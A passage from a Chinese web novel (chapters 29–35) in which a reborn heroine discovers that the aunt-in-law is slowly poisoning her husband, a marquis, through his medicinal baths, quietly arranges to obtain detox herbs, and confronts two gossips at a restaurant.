江元音边端详着他边高声如实解释:“我不知这药浴池连着侯爷的起居室,刚忽闻身后异响,一时受了惊,不慎跌入药浴池。”
齐司延淡声道:“原是我吓着夫人了,夫人莫怪。”
“妾身不敢,”江元音抬步要出药浴池,“是妾身耽搁了侯爷药浴。”
她一迈出药浴池,婀娜的下半身亦曝露在齐司延的视野。
他侧头,连余光都避开她的身影。
江元音没留意齐司延,快步朝搁置自己外衣的屏风走去,地板上留下的脚印水渍,好似一朵朵绽放的水莲。
可一离开热水走动起来,周身气流因她跑动自成一股凉风袭来,吹在她湿哒哒的衣服上,冷得她“嘶”声抽气。
齐司延开了口:“这池子你既用过了,今夜我便不用了。”
江元音伸手拿外衣的动作一顿,心口涌上来的不爽冲淡了寒意。
……他嫌她弄脏了他的池水?
齐司延不给她回应的时间与机会,接着道:“你且去屏风后避一避,我唤曲休进来接我。”
闻言,江元音垂首看了下自己现下的模样也有些窘,侧身迈至屏风后。
齐司延是看不清,但曲休的视力如常。
齐司延余光瞅了眼屏风后的人影,沉声唤道:“曲休,蒙眼进来接本侯。”
候在门后阴影里,连头都没敢抬的曲休,张了张唇,一时没应声。
侯爷不愧心思缜密,这个时候也没忘记要扮演好一个“瞎子”,不能自己退出药浴池。
可他蒙了眼,岂不是真瞎子?!
他深呼吸只能照做,毕竟他深知齐司延自称“本侯”时下的命令,是不容拒绝的。
随着关门声响起,屋子里再次剩下江元音一人。
她长叹了一口气。
她对这青松院的了解还是不够全面,不知齐司延的起居室连着药浴池,才闹出这乌龙,今日的计划全部被打乱。
感谢的话没来得及说,又耽搁了他今晚的药浴。
不愧是养尊处优的金贵侯爷,真真是讲究,她不小心跌入了池中,他便不愿意泡了。
“嘶——”
在池边站得久了,湿漉漉的衣服愈发森冷起来,江元音倒吸冷气,索性脱掉了湿漉漉的衣裳,重新迈入浴池里。
既然他今日不打算泡了,那她便好好享用一番,免得浪费了这一池子热水和名贵的药材。
江元音没入温热的池水里,独享大浴池,寒意被驱散,她闭目发出舒服的喟叹。
日后肯定是没甚机会再享受齐司延的药浴池了,等一年半后离了侯府,她回江南寻一处好山好水的美景宝地,建一座宅子,也造这么个浴池,便能日日享受了。
她陷入对美好未来的畅想中,直到清秋折返。
“夫人,我寻了一圈,未寻侯爷,侯爷……啊?”清秋边禀告边走近,瞅见浴池里的人影时,讶然顿住,“夫人?!”
她眼花了吗?
怎么出去寻了一圈侯爷,一回来夫人泡在药浴池里
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?!
江元音仍旧没睁眼,轻“嗯”了声,简洁明了道:“侯爷今夜不泡了,我泡。”
“啊……”清秋在江元音身后蹲下,满脸困惑,连声问道:“夫人怎知侯爷今夜不泡了?夫人见到侯爷了?”
江元音不答反问:“你可知这药浴池连着侯爷的起居室?”
清秋茫然摇头,“不知,我在青松院两年,每每被王嬷使唤过来打扫除尘或是送什么东西,都没能入屋子,今日还是跟着夫人,才进了这药浴池呢。”
江元音思量分析着清秋的话,倏地睁眼,水汽氤氲的双眸里,思绪幽深复杂。
如果说清秋等人两年都未能入这药浴池靠近齐司延,那为**婚夜她能撞见陈招娣在药浴池里,贴上齐司延?
有些形容不上来的不对劲。
这到底是故意还是巧合?
江元音足足泡了一个时辰,回到自己厢房时,只觉得浑身酸软困乏。
这一夜,她梦到了久违的前世。
梦到了李承烨给她服毒,又拿她试药的那段日子,毒发时全身好似有虫蚁在爬和啃咬,没有剔骨刀刺的剧痛,却是最折磨人的煎熬。
每毒发一回,不健全的五感会随机加重直至丧失。
有时是视力变差,有时丧失味觉食不知味,有时听力下降声响难辨……
记不得是被折磨的第几个年头,她彻底丧失了触觉,身体好似一块麻木的肉,再感觉不到疼痛。
一夜陷在噩梦里,江元音清晨挣扎着醒来,那种虫蚁在全身爬咬的感觉并未消散,她浑身乏力,恍惚间竟好似回到了前世。
“雪燕!”她的心好似被一双大手猛地拽紧,让她喘不上气的紧迫,失态地大喊,“清秋!”
难道重生的种种只是一场白日梦?!
“怎么了夫人?!”
“啊,我们在的,夫人!”
直到两人的声音和脚步声传入耳中,江元音才从噩梦的窒息感中挣脱,松了口气朝二人看去。
可视野里的一切却不如平日里清晰,似是蒙了层薄纱,隐隐绰绰。
江元音心惊不已。
她又中了前世的毒?!
第30章 侯爷送药
江元音如坠寒潭,她强迫自己冷静思考。
她昨日唯一的异常,只是享用了原本给齐司延准备的药浴。
那些药材包是有毒的?!
陆氏定料不到昨夜的药浴最后会是她在用,陆氏想毒的,是齐司延。
可陆氏怎么会突然给他下毒,就因为他帮她护住了嫁妆?
不,这不合理。
现在耳目不聪,腿脚不便的齐司延,不正是她前世毒发后期的症状吗?
他早就**多时!
双亲离世、自幼先天不足、定期的药浴、无法根治的顽疾、侯府内外都由二叔父一家接管……
脑子里各种碎片消息在往外冒,全部串联成线,真相呼之欲出。
这是一场鸠占鹊巢的阴谋!
陆氏一家打着给兄嫂照顾孤儿的幌子,开始寄居在侯府,之后处心积虑,慢慢“养废”齐司延,侵占侯府的一切。
难怪,齐司延只剩下一年半载的性命!
陆氏一家当真是阴险狠毒,毫无人性!
前世,齐司延死后,江云裳被割舌发配西北绝境,定也是出自陆氏一家的手笔!
思及此,更令她觉得人心险恶的念头冒了出来。
新婚后第二日的敬茶,陆氏交代叮嘱她,只需照顾侍候好齐司延即可,之后让王嬷盯着她去给他送药膳,现在开始让她侍候他药浴,陆氏的心思昭然若揭。
陆氏怕是想将下毒的罪名安在她头上。
雪燕和清秋都察觉出江元音的不对劲,双双围在她身边打量询问。
“怎么了夫人?”
“夫人可是哪不舒服?”
“夫人稍等,我马上去请大夫!”
“许是昨夜着了凉,有些乏力,”江元音翻身下床,“侍候我梳洗,该去给二叔母请安了。”
陆氏敢这么明目张胆地下毒,侯府上下一定在她的掌控之中,请来的郎中八成不会说实话,搞不好还会打草惊蛇。
庆幸自己现在症状甚微,她要继续扮演一无所知且听话的侄媳,不惹陆氏生疑。
她继续给陆氏当“刀”,也好过陆氏去找其他人。
那样齐司延更危险。
当务之急是先稳住陆氏,再想法子确认她此刻和齐司延身上是否都是中了她前世一样的毒。
此毒阴损,不致命,只会慢慢将人蚕食到油尽灯枯,丧失求生的意志。
这并不是随处可得的**,陆氏如何会有?
江元音梳洗后,去了静怡轩。
在雪燕的搀扶下她往屋内迈了一步,就停在门槛的位置,朝陆氏福身行礼,“侄媳给二叔母请安。”
陆氏沉脸,不悦道:“不想来请安就别来,杵在那给我摆架子?”
“二叔母误会了,”江元音弱声解释道:“侄媳身体不适,恐是病了,怕把病气传给了二叔母,是以不敢靠近。”
陆氏拧眉,嫌弃问道:“什么病?”
江元音摇头道出早就备好的说辞:“侄媳不知,自昨夜陪侯爷药浴回房,侄媳一夜如被虫蚁爬咬未能安睡,今晨起来更觉得乏力,连带着眼神都不太好,看一丈远外的东西都费劲,看不太清。”
她缓缓抬眼,毕竟是真看不清,不用演便是一副虚弱无神的样子,“侯爷药浴的药材定是珍稀名贵,许是某些药材不适用于常人的身体,不知这些药材……”
“昨晚司延药浴,你同他一起泡了?”陆氏面色古怪的打断,压根不关心江元音的身体,反复确认道:“司延允你同他药浴?!”
齐司延竟能看上这小户之女不成?!
江元音一派娇羞之色,故意含糊地回:“昨夜侄媳足足泡了一个时辰。”
这回答足够引人遐想,完全避开回答齐司延昨夜并未药浴。
免得陆氏知晓昨夜**失败,想着法子又来一遭。
陆氏脸色难看至极,“都是些强身健体的名药,你身体不适同药材能有什么关系?我看你是昨夜受了寒,一会让郎中给你瞧瞧,开两副药,痊愈前不必来请安了。”
她现在看到她便烦。
江元音心中有数,温顺应声退下。
屋内,陆氏气得咬牙。
这么多年,齐司延都是那副半死不活的样子,对谁都冷冷淡淡,成日在青松院,大门不出二门不迈的。
原本她也挺满意,就等着他身子亏空去了,
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名正言顺吞了这定宁侯府。
谁知圣上忽然赐婚,齐司延还待江元音不错,两人若真生个一儿半女,日后还不得跟她来抢?
她决不允许!
陆氏朝邓嬷招手,冷笑吩咐:“去,让郎中去给**看诊,再开几服药。”
如江元音所料,来为她看诊的郎中不过是走个过场,说她是寒气入体,吃两副药去驱寒,修养两日便能好。
江元音不多言,只是在郎中离开后,拆开了药贴,将药贴里的药材每一种都抽拿出一小撮收好,才让雪燕拿下去熬煮。
等到雪燕将熬好的药端来,她一口都没喝。
陆氏这等小人,谁知道药里会不会平白无故都加些旁的什么。
谨慎起见,不吃为妙。
江元音思索了一日,决定先不将陆氏**一事告知齐司延。
一来除去她前世不可言说的经历,她没有任何实质的证据,证明陆氏**已久。
二来她尚摸不准齐司延对陆氏一家的态度,的确没那个自信,他会在她和他二叔父一家中选择她。
在摸清楚这一切之前,她能做的,是尽可能阻止陆氏继续对齐司延**。
而此时的齐司延,听完曲休的禀告,蹙眉道:“你是说她昨夜在药浴池泡了一个时辰?”
“是的,侯爷。”
齐司延声音沉了几分:“你昨夜为何不阻止?”
曲休近乎目瞪口呆,下意识回道:“我昨夜不知夫人泡了一个时辰啊,”他无辜抬眼瞅着冷脸的男人,试图唤醒他一些昨夜的记忆,“侯爷难道忘了自己昨夜下的命令?侯爷命我……”
“闭嘴。”齐司延俊脸紧绷。
曲休应声住嘴,不敢多说半个字。
就在他以为话题到此为止时,又听到了齐司延开了口:“送一颗静息丸过去。”
曲休这回是彻底目瞪口呆。
夫人不过泡了一个时辰,那点毒,只要不再接触**,或许过个十天半月便能好了。
而侯爷自幼时便被毒素蚕食,好不容易才寻得了这缓解的秘药。
侯爷尚未好全,手中的静息丸只剩几颗,竟要分给夫人?!
第31章 侯爷欢喜夫人
傍晚,曲休为江元音送来了静息丸。
曲休将紫檀木匣子双手呈上,“此乃云鹤观元奚**赠与侯爷的秘药:静息丸,有健体神效,夫人吃了这一颗,定能药到病除,身子大好。”
江元音第一次在他脸上看到了心痛难舍的神色,仿佛送她一颗静息丸,是割了他的心头肉。
不过她也理解,毕竟云鹤观元奚**的静息丸千金难得。
前世李承烨费了很大一番功夫,也只绑来了元奚**的徒弟至玄。
李承烨拿她试毒,供至玄研制解药,起初,至玄便是靠炼制静息丸来缓解她所中之毒,之后一点点在静息丸的基础上修改研究才调至出了解药。
只是……这药丸不是齐司延的么?
他在替齐司延心疼?
江元音见他这心疼万分的表情,本想故意收下逗他,但转念一想到齐司延的状况,婉拒道:“我没甚大碍,已看过郎中服了药,这药丸听着好生名贵,侯爷当留着自己用才是。”
只要不继续被毒,她清楚自己不要十天半月便能痊愈。
何况久病成医,被当做药人来研究的那些年,她也耳濡目染知道该如何解毒。
曲休脸上的心疼染上几分复杂和微妙。
侯爷真是料事如神,知道夫人不会收,还给了应对的说辞。
他回道:“侯爷同元奚**有些私交,**每隔数月会送一盒静息丸过来,夫人尽管用便是。”
……侯爷和夫人对彼此真是关心啊。
江元音讶然。
千金难求一颗的静息丸,元奚**竟每隔数月都会送来一盒?
难怪齐司延自小被陆氏**,还能安然长大,直至今日五感还未完全丧失,勉强能听到看到,想来是没少吃这静息丸。
闻言江元音不再拒绝,示意雪燕收下了木匣子,笑道:“多谢侯爷厚爱,却之不恭,我便笑纳了。”
曲休飞速将木匣子递过去,告辞退下,生怕多看一眼,会忍不住拿回那药丸。
哎——
他也不想夫人遭罪,只是更心疼他家侯爷。
那静息丸真没几颗了!
雪燕将紫檀木匣子递给江元音,望着曲休快步离开的背影嘀咕道:“他怎么那般舍不得,好似这药丸是他的一般。”
“可这静息丸的确稀有,”清秋凑上来,想到什么似的,道:“噢,我记得三个多月前,就是去年腊月的时候,叔祖母的父亲病重,来找侯爷要过一次药,当时侯爷只说会派人去寻元奚**求药,没有直接给二叔母呢。”
“啊,那这药是真的还是假的?”
“侯爷不可能给夫人假药吧……?”
江元音在两人注视的目光下打开了紫檀木匣子,一番端详又放到鼻间嗅闻,她淡声道:“是真的。”
雪燕和清秋自然不会去想为何江元音能辨药丸真假,更不会质疑她的话,热闹雀跃地聊了起来。
“侯爷待夫人好好!”
“侯爷不与夫人同房一定是身体的原因,而非不欢喜夫人!”
“夫人貌美心善,聪慧过人,侯爷当然欢喜夫人!”
江元音任由她们瞎聊,合上木匣子,懒得纠正阻止她们。
齐司延欢喜她?
未必。
在她看来,她和他其实是一类人。
就像她在扮演一个贤惠的妻子,他也不过是在做一个丈夫当做的。
他们不相爱,但一定是默契的合作伙伴。
这样想想,他真真是她梦寐以求的如意郎君,平日里互不干扰,有事真上。
他这般品性,想必上辈子待江云裳亦不差,而以江云裳的心性定会嫌他是个“废人”,没准会和陆氏成为一丘之貉,欺负他。
思及此,再联想到她和他都是没有家人的孤儿,此时的他就好似前世五感濒临丧失的自己。
江元音握紧手上的紫檀木匣子,暗暗下了决定。
他既是个无辜的可怜人,待她亦好,她不会再冷眼旁观等着他被陆氏一家吃干抹净害死后,再离开侯府当个快活的寡妇。
她要像拯救前世的自己那般,阻止陆氏的诡计,帮他解毒,让他拥有健康的新人生。
到时,她再与之和离,他们都能拥有全新自在的人生。
江元音没吃那颗静息丸,装模作样地“喝”了两天郎中开的药。
第三日清晨,她去静怡轩给陆氏请安了。
陆氏没甚好脸色,不走心地随口问了一句:“你病好了?”
“劳二叔母记挂,好的差不多了,”江元音温声
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道:“侄媳今天前来还有一事想同二叔母商议。”
“何事?”
江元音从袖袍中取出一封信,双手递上,“几日前,侄媳收到娘家来信,本预备次日便来同二叔母商议的,谁知当晚侍候侯爷药浴病了,后来就耽搁到今日了。”
邓嬷上前接过她手中的信,转递给主位上的陆氏。
信件内容很短,不过三两句话,陆氏一眼扫完,问:“你要同我商议什么?”
江元音回道:“想请问二叔母会将侄媳的家人安排在何处?侄媳也好早些去做准备。”
陆氏不悦道:“为何是由我安排?”
“侄媳赴京出嫁前,阿父阿母说,他们入京后的府邸当由侯府安排,嘱咐我收到家书后记得知会侯爷,但侄媳想现下侯府做主的人是二叔母,便来寻二叔母商议了。”
陆氏嗤笑了一声,毫不掩饰眼中的鄙夷与轻蔑,讽刺道:“你是想拖家带口嫁入侯府吗?”
江元音眨眼,似是愣住了。
陆氏接着挖苦:“你江家不是自诩江南首富,怎地,现在连汴京的宅子都买不起了?”
她冷声道:“你江家的府邸与我侯府何干?”
真以为江元音嫁进来,日后就能理所应当地攀附侯府了?
嫁妆不肯她挪来用,还指望她倒贴给他们江家购置府邸?
做梦!
江元音吸了吸鼻子,低眉敛眼,似是大受打击,瓮声瓮气道:“是侄媳思虑不周失言,二叔母莫怪。”
陆氏将家书递给邓嬷,杜绝**家占一丝便宜地说道:“江家的事与我齐家无关,府邸的事你自行决定,无需找我商议。”
江元音眼里眼底划过一丝笑意,从邓嬷手中接过家书,再抬眼时却是一派小心翼翼,弱声询问:“那侄媳今日能否出府去看看府邸宅子?”
陆氏“嗯”了声,颇有些阴阳怪气的回道:“嫁妆在你手里,你去看去买就是了。”
江元音仿佛听不懂她的言外之意与嘲讽一般,恭顺地点头,“侄媳明白了。”
她可不在意陆氏怎么看低江家人,甚至还挺乐意在陆氏骂他们时附和两句。
她更不在意他们到了汴京后有没有宅院可住,不过是寻个名正言顺的出府理由。
第32章 男子目不转睛盯着她
同陆氏报备了后,江元音便命人去备马车,只带了雪燕和清秋,从侯府偏门低调出府。
这是到了汴京后的第一次出游,避免被陆氏询问行程,她没有直奔目的地,而是命车夫环城驶行。
一路上她都在听清秋介绍着汴京。
其实前世她也在汴京生活过多年,在李承烨夺位后,她成了皇后,却至死也没能迈出宫门。
是以,她对汴京的市井街头,都是不熟的。
在汴京,世家权贵的府邸**在皇城东北方,而西南方则是普通百姓安居的地方。
江元音先去见了东市的房牙子,东北边住的都是贵人,空宅并不多,她看了两处府邸,便又起程去了西南边。
她自然不可能花大价钱为江兴德等人购置和侯府同在东边的府邸。
等马车驶入西街,周遭明显热闹嘈杂起来。
车夫又将马车停在西街的房牙门前。
江元音戴上帷帽,下了马车。
房牙子见其衣着不凡,还带着两个丫鬟,立即乐呵呵地迎上来。
雪燕报明来意:“我家夫人想买座僻静宜居的宅子,你可有推荐?”
“有是有的,恐难入夫人的眼啊……”房牙顿了顿,试探问道:“夫人可去东北边看过房了?”
面前女子非富即贵,若是世家女眷,当在东北部看房才是。
若是商贾女眷,西南边的可供选择的大宅院亦不多。
江元音不直面回应他的试探,淡声道:“若有合适的,你带我瞧瞧便是。”
房牙子是个人精,见她不愿多说便不问了,殷勤道:“正有两处勉强能给夫人瞅瞅的闲置大宅,”他抬手指向繁华的街道,“倒是不远,就在这街道尽头,临街的位置,热闹又方便,满满的人间烟火气,正所谓人气旺则事事旺,事事旺……”
“带我去看看吧,”江元音打断他张嘴便来的推销,又侧头冲车夫道:“西街拥挤行车不便,你便在此地候着吧,反正离得不远,我走过去便是,也顺路逛逛这西街摊贩。”
车夫看了眼熙熙攘攘的街道,点头回道:“是,夫人。”
江元音抬步没入街道人流,成功甩开了车夫这个潜在的眼线。
跟着房牙逛完了街角尽头的两座宅子,她示意雪燕递过去了一锭银子,道:“辛苦,我需得再思量考虑一番,有意向再联系你。”
房牙子明显感觉到她有些兴致缺缺,想来是没有相中,这倒也在他意料之中,何况她这辛苦费给得阔绰,他亦不算白跑一趟。
自知手中怕是没有符合她要求的房子,他便不再多费唇舌,收了银子,笑容满面道:“行,那我领夫人回去?”
“不用了,我初来西街,想随便逛逛。”
房牙子不再勉强,作揖告辞。
终于只剩下主仆三人,江元音询问清秋:“这附近可有医馆药铺?”
清秋颔首,四处张望了下,指出右前方回道:“我记得那边就有家医馆,李郎中医术精湛,府中好些个家丁仆妇寻他看诊过呢。”
“换一家,”江元音直接道明要求,“最好是没接诊过侯府中人的医馆药铺。”
避免生出事端,招来不必要的麻烦,她必须更小心谨慎,以防万一。
最后,江元音选了家街角的小药铺,里面没有坐堂的大夫,没什么人登门,冷冷清清的,门可罗雀。
江元音迈了进去,正在整理药草的老板闻声,没有停下手中的活,出声道:“客官是要抓药?方子带了吗?稍等片刻,我这就来帮您抓药。”
“我不抓药,”江元音不催促,耐心极好地回,“我不急,您忙完先。”
“不抓药?”老板这才抬首看过来,提
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醒道:“小店就是个照着方子抓药的药铺,可没郎中号脉看诊啊。”
“不用号脉看诊,”江元音掏出一个布袋递过去,“就想请您看看这些个药材加在一起是何功效。”
语罢示意雪燕递一锭银子过去,温声道:“劳烦了。”
这布袋里装的是侯府郎中给她开的药方的药材。
老板没急着接银子,先接的布袋,一一将里面的药材倒在桌面上判断。
他虽不擅号脉看诊,但凭借抓了这么多年方子的经验,只要不是什么疑难杂方,判断起来倒也迅速。
他放下药材,心里已经有了答案,却未直言,而是看向江元音,问道:“这药夫人是自用还是给他人用?”
“是有人要给我用。”
老板这才收了那锭银子,回道:“这是避子汤,夫人甚服。”
雪燕和清秋大惊,纷纷震惊望向江元音。
帷帽下,江元音脸上是失望之色。
避子汤?
还以为能跟齐司延中的毒沾点边,也好作为挑破陆氏真面目的证据。
看来陆氏是半点没怀疑过她,对她的提防只是怕她生下齐司延的孩子?
也好,那她行事会更顺利方便些。
江元音道了声谢,又让雪燕递了两锭银子过去,“不知老板对汴京药材行行主了解多少?我若想拜见他,可需要准备注意些什么?”
老板依旧没急着接银子,“夫人是同行?要在这汴京开新药铺?”
不然为何要见药材行的行主?
江元音摇头,“我有些药铺不卖的奇珍药材要购入,想求行主帮忙。”
老板这才收下了那两锭银子。
江元音离开了药铺,朝药材行行会而去。
她步履匆匆,全然未察,街对面的拐角,有一身影颀长戴着面具的男子,正目不转睛地盯着她。
第33章 夫人在隔壁
隐秘的街角。
有男子跟随江元音主仆三人的身影,随后朝面具男道:“主子,那似乎是……夫人?”
说话的正是曲休。
江元音戴着帷帽,遮掩了容貌,可曲休一眼认出了清秋和雪燕。
齐司延目光落在江元音帷帽被风扬起的轻纱,沉声吩咐:“跟着,看看她要做什么。”
他转身走进寂静的巷道。
汴京药材行商会。
江元音登门时没有藏着掖着,挺直腰背,自报家门:“定宁侯之妻**欲见要药材行行主,烦请通报。”
有了这个名头,看门人不敢怠慢,毕恭毕敬地将她领了进去。
药材行行长邓立文闻讯上前,躬身将江元音迎到厅内:“在下邓立文,不知侯夫人前来,有失远迎,侯夫人莫怪。”
他面上是标准热情的笑,目光却一直不着痕迹地打量着江元音。
圣上选定江南首富江家嫡女赐婚定宁侯之事,全汴京早就传遍了。
二十来天前,江元音花轿入城时,城里的百姓没少去凑热闹。
可惜只见到江家浩浩荡荡的陪嫁仪仗,却不见侯府声势浩大的迎亲。
如此冷遇,一时间成了百姓茶余饭后的谈资,可谓无人不晓。
邓立文是没见过这位传闻中的“侯夫人”,只见她带着帷帽,不露真容,也没拿出什么侯府信物,对其身份是半信半疑的。
但这毕竟是汴京,应当没人敢假扮侯夫人这种随时会被戳穿的谎言,更怕她是真的,冲撞得罪了她,是以面上自然是拿她当真的侯夫人来款待。
邓立文笑吟吟地问:“不知侯夫人今日前来所谓何事?”
“的确有事,”隔着帷帽江元音动作幅度稍大地看了看敞开的厅门,暗示道:“这药材行可还有更合适谈事的屋子?”
邓立文会意,侧身让路:“自然是有的,侯夫人这边请。”
待入了洽谈室,江元音毫不怯场,自然而然地在主位落座。
邓立文觉得其气场不俗,躬身斟茶,又试探地问:“可是和定期供给侯府的药材相关?”
汴京人人都知齐司延是个药罐子,他们商会定期备好名贵药材送到侯府。
但若是这等事,不需要侯夫人亲自跑一趟吧?
江元音闻言,确定了自己心中猜想。
齐司延所中的毒,从他平日所用药膳、药浴的药材是无关的,否则邓立文不会如此坦然地提起。
当是陆氏给送进侯府的药材投了毒。
江元音摇头否认,示意其落座,“邓行长,请坐。”
“那是侯爷、侯夫人有其他吩咐?”邓立文落座,信誓旦旦地表态,“侯夫人尽管说,邓某定竭尽所能,不负侯爷、侯夫人所托!”
“与侯府无关,”江元音回道:“我今日前来为的是我江家的事。”
邓立文讶然扬眉,静待后文。
江元音出声示意雪燕将备好的地契拿出来,递给邓立文。
“此乃我江家在江南的十二间药铺地契,”她挑明来意,“我此番前来是想为江家和邓行长谈笔交易。”
邓立文接过厚厚的一叠地契,一一确认一番,对江元音的身份再无怀疑。
他笑眯了眼,“侯夫人不妨直言,邓某若能帮上一二,乃是邓某的荣幸。”
江元音缓声道:“汴京乃皇城,自不缺珍稀名贵的药材,只是橘生淮南则为橘,生于淮北则为枳,有些药材也只有江南之地才有。”
她从宽大的袖口掏出早就备好的纸张递过去,又道:“第一行乃江南之地特有的药材,我江家十二间药铺可每月定期为汴京药材行会无偿提供这些药材。”
邓立文接过纸条,扫了眼那些昂贵难得药材,眼神亮了,“侯夫人想要的是?”
“你且往下看,”江元音提醒道:“第二行则是我想同你交换的药材。”
邓立文看下第二行罗列出来的药材,面露迟疑之色。
江元音所列出来的江南特有药材的确诱人,全是行会移植失败的品种,只能每个季度花高昂的价格,自江南的药材商会行采购。
可她想要的,更不是什么寻常药物,这交易似有些费力不讨好。
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江元音将他的神色变化尽收眼底,加大筹码道:“你只需找齐这些,一月一次,为期一年给我即可,而我向你承诺,只要你任汴京药材行行主一日,我名下的药材铺便会无偿为你提供上述药材。”
邓立文满脸心动之色。
天下竟还有这等稳赚不赔的好事?!
答应的话到了唇边,还是咽了下去,他谨慎探寻地问:“侯夫人要这些药材何用?”
她要的这些药材是名贵难寻,但也可以直接以侯府的名义采购,何须亏本与他交易?
“我家人即将抵京,家母有顽疾需得用药,且先度过这一年半载,待家父熟悉了汴京,自不用再为难我背着侯……”江元音意味深长地顿住,幽幽叹了口气。
那些药都是她凭借前世的记忆,罗列出的解毒的药材。
她选择交易而不是直接购买,一是她暂时不想动手头上的银两,二是不想引来的陆氏的注意,三是未雨绸缪,将来被陆氏发现有可以圆过去的说辞。
邓立文闻言,再联想到她成亲那日的冷遇,也就明白她为何不以侯府的名义采购了。
她在侯府不受待见,怎敢花费大价钱为娘家买药?
他心中的疑惑消了,起身表态道:“侯夫人稍等,邓某这就去拟份契书。”
“且慢,”江元音唤住他,自雪燕那拿过早就准备好的契约书递过去,温声道:“我早已拟好,请邓行主过目。”
她自是全部准备妥当才会在今日出府。
顺利完成今日出府的计划,已经是午时。
江元音心情甚好,便和雪燕、清秋去了遇仙楼用午膳,花大价钱包了个雅间。
遇仙楼是西街有名热闹的酒楼,不仅饭菜口味一绝,酒楼每日都有丰富精彩的演出,多的是来逗趣解闷的客人。
与此同时,跟了江元音一路的曲休,迈进了她隔壁的包间。
矮榻上正在倒茶的齐司延没有抬首,张唇问道:“她回府了?”
“侯爷,”曲休下意识地压低了声音了,“夫人……在隔壁包间。”
第34章 侯爷风光霁月完美无缺
齐司延微怔。
西街人多嘈杂,达官权贵多在东街活动,鲜少会来这边。
大隐隐于市,混乱有时是最好的障眼法,这便是他常选在遇仙楼谈事的原因。
她为何出府?
还选的是西街?
齐司延问:“她去做什么了?”
曲休回道:“夫人去见药材行行主邓立文,暂不知谈话内容,之后便来了遇仙楼。”
“查清楚告诉我。”
“是,”曲休眸光往隔壁包间的方向瞟了眼,低声询问:“关将军应当在路上了,可要寻个由头,让夫人离开?”
片刻的沉默后,齐司延开口:“无妨。”
现在是午饭的点,她约莫是想尝尝遇仙楼的口味,吃完应该会离开。
何况只要不高声喧哗,两个包间是听不清彼此说话的。
曲休有些许迟疑,委婉地问:“那楼下戏班子的戏还是按计划来?”
齐司延眉眼里染上几分不悦,声音沉了沉,“自然。”
江元音的确是计划在遇仙楼用了午饭便走的。
偷得浮生半日闲,享受了这一刻的轻松自在,又得继续筹谋准备了。
主仆三人用了午饭,耳畔传来戏班击鼓开唱的声响,看客们已经开始鼓掌欢呼。
“表演开始了!”清秋兴奋探头看向窗外,雀跃地介绍着,“听说遇仙楼每日都有好几场表演,上午听曲、晚上歌舞,下午是戏曲!”
雪燕一听来了兴趣,兴冲冲地问:“什么戏曲啊?”
“每日都不一样,听闻都是找人特意写的,每场戏都精彩,”清秋挠挠头,坦然道:“不过这些都是我听府里常出门办事的小厮说的,这也是我第一回来遇仙楼呢。”
两人说完,默契地望向坐榻上江元音,满眼期待。
想看戏,又怕误了夫人的事。
江元音下巴点了点窗台的方向,轻声道:“那不是有观赏位么?今日唱的什么戏,看看不就知道了?”
来都来了,也不差这一时半会了。
索性满足了她们。
戏台就搭建在一楼大堂正中间,普通百姓和爱热闹的会选择大堂的位置。
而二楼的包间,多半在窗台边设了桌椅,供客人观赏。
雪燕和清秋得了准许,欣喜地跑到窗边,打开了之前紧闭的窗子,并没有坐在窗边摆放的椅子上,而是双双撑在窗台上,朝楼下探头探脑地望去。
江元音扫了眼她们的背影,勾唇笑了笑,慢条斯理地喝茶。
十五岁的少女,外界的一切都是热闹新奇的。
舞台上名角登场,在锣鼓声里,铿锵有力唱着激昂悲壮的戏词。
清秋听着,后知后觉地喃语出声:“齐大将军三征虎峡谷……齐大将军……这唱的是老侯爷的故事!”
江元音放下茶杯,凝神侧耳倾听。
齐司延生父齐腾是赫赫有名的大将军,一生戎马,立下战功无数,可惜不过三十岁出头便和妻子双双死在了边关战役里。
而齐腾三征虎峡谷,讲的是他某次在中了敌军埋伏,突出重围后又义无反顾转身营救被俘虏的手下将士的热血肝胆的故事。
这戏词写得极好,角儿亦演绎得生动,看客无不被牵引着心绪,被国家大义、兄弟义气动容,为每个精彩的打斗热切鼓掌叫好。
江元音来了兴致,起身走至窗台边。
雪燕和清秋同时给她腾出位置,想要侍候她落座。
江元音摇头,就立在大开的窗户边,俯视一楼的舞台。
她听着,脑海里浮现齐司延的脸,心里一阵唏嘘。
他父母都是顶好的人,有家国大义又能厚待下属,对子女定也不会差。
若他们还活着,齐司延便不会遭受陆氏的毒害,就能安然健康地长大。
他或许能成为威风凛凛的少年将军,随父母征战沙场,又或许能入主朝堂,辅佐圣上治国安邦。
总之,他本该有耀眼的人生,而不是深居简出的药罐子。
陆氏,当真该死。
二楼包间的观赏窗台几乎是连在一起的,若都站在同一位置,相邻两间包房的人甚至能彼此交谈
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江元音右手边的包间窗台没站人,但左手边是有人的。
有调侃十足的男声响起——“可惜了齐大将军一世英名,生了那么个废物儿子,齐家怕是要动动祖坟,这般福薄。”
“你懂个屁,我看八成是这小侯爷八字硬,专克父母!搞不好是个孤煞星转世投胎!”
江元音倏地侧头,冷眼看去。
入目是两个吊儿郎当的纨绔,站姿轻浮,满脸恶毒的调侃。
许是感受到了她的眼刀,两人不自觉地瑟缩了下,侧头朝她过来。
江元音还戴着帷帽,两人并看不清其容貌,不确定地问:“姑娘在瞪我?”
“难得遇见两位高人,自然想细看两眼,”江元音故意倾身朝他们凑近些许,继而像是发现什么似的,讶然扬声道:“哎呀,怎的**里也能见到爱嚼舌根的长舌伥鬼?还是两个呢。”
她语调轻柔,偏偏字字不饶人。
两人愣了下,才回过味来,怒道:“你骂我们是长舌伥鬼?!”
一人猛拍了下窗台,气急败坏道:“**,你活腻歪了?!知道我们是谁吗?!”
“知道呀,你们俩是长舌伥鬼呀,”江元音完全不怵,声音是故作的甜腻,“你们才是活腻歪了呢,连风光霁月完美无缺的定宁侯爷都敢妄议,你们连给侯爷洗恭桶都不配呢。”
“你——!”一人气极,拿着手中的折扇怒指江元音,“死娘们,小爷给你最后一次机会,你马上跪下给小爷认错,小爷饶你不死!”
江元音姿势未变,就那般慵懒随意地站着,他们越是跳脚,她越是淡然,笑吟吟地挑衅刺激道:“恶犬惯是爱吠,你们若有真本事,不如直接爬过来?”
她深知人在情绪上头的时候,最冲动,更何况面前这两人可不像是理智有脑子的人。
她就是要用言语刺激他们。
只要他们今日敢爬,她一定让他们摔个半身残疾,当个名副其实的废人。
而下一瞬,敲门声响起。
有人在用力敲门。
第35章 她心悦他
雪燕和清秋吓了一跳,紧张护住江元音。
帷帽下,江元音脸色好笑又无奈,出声提醒道:“敲的是隔壁的门。”
语罢又冲同样没反应过来,还冲着她龇牙咧嘴叫嚣的两个男人,懒懒地提醒道:“诶,不凑巧,有人抢在我前面来收你们狗命了。”
